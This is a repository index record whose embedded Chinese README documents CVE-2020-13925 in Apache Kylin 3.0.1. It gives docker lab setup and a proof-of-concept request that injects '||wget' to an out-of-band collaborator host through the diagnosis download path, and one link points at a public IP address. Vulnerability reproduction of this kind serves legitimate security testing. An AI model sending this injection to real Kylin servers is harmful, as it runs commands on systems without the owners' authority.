{"id":20916854,"url":"https://github.com/bit4woo/cve-2020-13925","last_synced_at":"2025-03-12T23:27:20.944Z","repository":{"id":87243450,"uuid":"281088072","full_name":"bit4woo/CVE-2020-13925","owner":"bit4woo","description":null,"archived":false,"fork":false,"pushed_at":"2020-07-20T10:56:28.000Z","size":479,"stargazers_count":16,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-01-19T16:31:25.868Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/bit4woo.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2020-07-20T10:38:14.000Z","updated_at":"2021-10-16T08:56:58.000Z","dependencies_parsed_at":"2023-05-27T01:45:37.197Z","dependency_job_id":null,"html_url":"https://github.com/bit4woo/CVE-2020-13925","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bit4woo%2FCVE-2020-13925","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bit4woo%2FCVE-2020-13925/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bit4woo%2FCVE-2020-13925/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/bit4woo%2FCVE-2020-13925/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/bit4woo","download_url":"https://codeload.github.com/bit4woo/CVE-2020-13925/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243310010,"owners_count":20270722,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-18T16:26:25.736Z","updated_at":"2025-03-12T23:27:20.912Z","avatar_url":"https://github.com/bit4woo.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2020-13925\n\n### 环境搭建\n\n\n参考 [https://github.com/apache/kylin](https://github.com/apache/kylin) 使用docker进行环境部署，修改其中的版本为3.0.1（存在漏洞的版本）。可以去除 【-m 8G \\ 】它的作用是分配内存的大小。\n\n\n然后访问 [http://host:7070/kylin/login](http://127.0.0.1:7070/kylin/login) 初始用户名和密码是 `ADMIN/KYLIN`。\n\n```bash\ndocker pull apachekylin/apache-kylin-standalone:3.0.1\n\ndocker run -d \\\n    -m 8G \\\n    -p 7070:7070 \\\n    -p 8088:8088 \\\n    -p 50070:50070 \\\n    -p 8032:8032 \\\n    -p 8042:8042 \\\n    -p 16010:16010 \\\n    apachekylin/apache-kylin-standalone:3.0.1\n    \ndocker run -d \\\n    -p 7070:7070 \\\n    -p 8088:8088 \\\n    -p 50070:50070 \\\n    -p 8032:8032 \\\n    -p 8042:8042 \\\n    -p 16010:16010 \\\n    apachekylin/apache-kylin-standalone:3.0.1\n```\n\n\n### 漏洞验证PoC\n\n\n```python\n原始请求：\nhttp://host:port/kylin/api/diag/project/learn_kylin/download\n        \nPoC请求，GET方法：\nhttp://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download\n\n即将项目名称“learn_kylin”替换为如下payload访问即可：\n||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||\n```\n\n\n### 复现步骤\n\n访问 System-Configuration-Diagnosis。触发下载诊断信息的请求 [http://host:port/kylin/api/diag/project/learn_kylin/download](http://120.76.179.151:7070/kylin/api/diag/project/learn_kylin/download)\n![image.png](image/111.png)\n\n即将项目名称“learn_kylin”替换为如上payload访问即可。\n\n\n![image.png](image/222.png)\n\n### 参考链接\n\nhttps://mp.weixin.qq.com/s/LdEgENX2_b8tb12n4H9KJQ","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbit4woo%2Fcve-2020-13925","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbit4woo%2Fcve-2020-13925","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbit4woo%2Fcve-2020-13925/lists"}